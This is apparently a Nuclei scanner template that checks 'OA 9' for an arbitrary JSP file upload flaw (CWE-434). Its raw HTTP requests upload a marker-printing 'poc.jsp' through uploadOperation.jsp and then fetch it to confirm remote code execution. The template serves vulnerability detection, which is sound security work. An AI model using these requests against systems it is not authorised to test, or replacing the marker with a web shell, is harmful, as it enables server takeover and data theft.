id: oa-v9-uploads-file info: name: OA 9 - Arbitrary File Upload author: pikpikcu severity: high description: OA 9 is susceptible to arbitrary file upload via the uploadOperation.jsp endpoint. These files can be subsequently called and are executed by the remote software, and an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. reference: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cwe-id: CWE-434 tags: rce,jsp,fileupload,intrusive metadata: max-request: 2 http: - raw: - | POST /page/exportImport/uploadOperation.jsp HTTP/1.1 Host: {{Hostname}} Origin: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo ------WebKitFormBoundaryFy3iNVBftjP6IOwo Content-Disposition: form-data; name="file"; filename="poc.jsp" Content-Type: application/octet-stream <%out.print(2be8e556fee1a876f10fa086979b8c7c);%> ------WebKitFormBoundaryFy3iNVBftjP6IOwo-- - | GET /page/exportImport/fileTransfer/poc.jsp HTTP/1.1 Host: {{Hostname}} req-condition: true matchers: - type: dsl dsl: - 'contains(body_2, "2be8e556fee1a876f10fa086979b8c7c")' - 'status_code_2 == 200' condition: and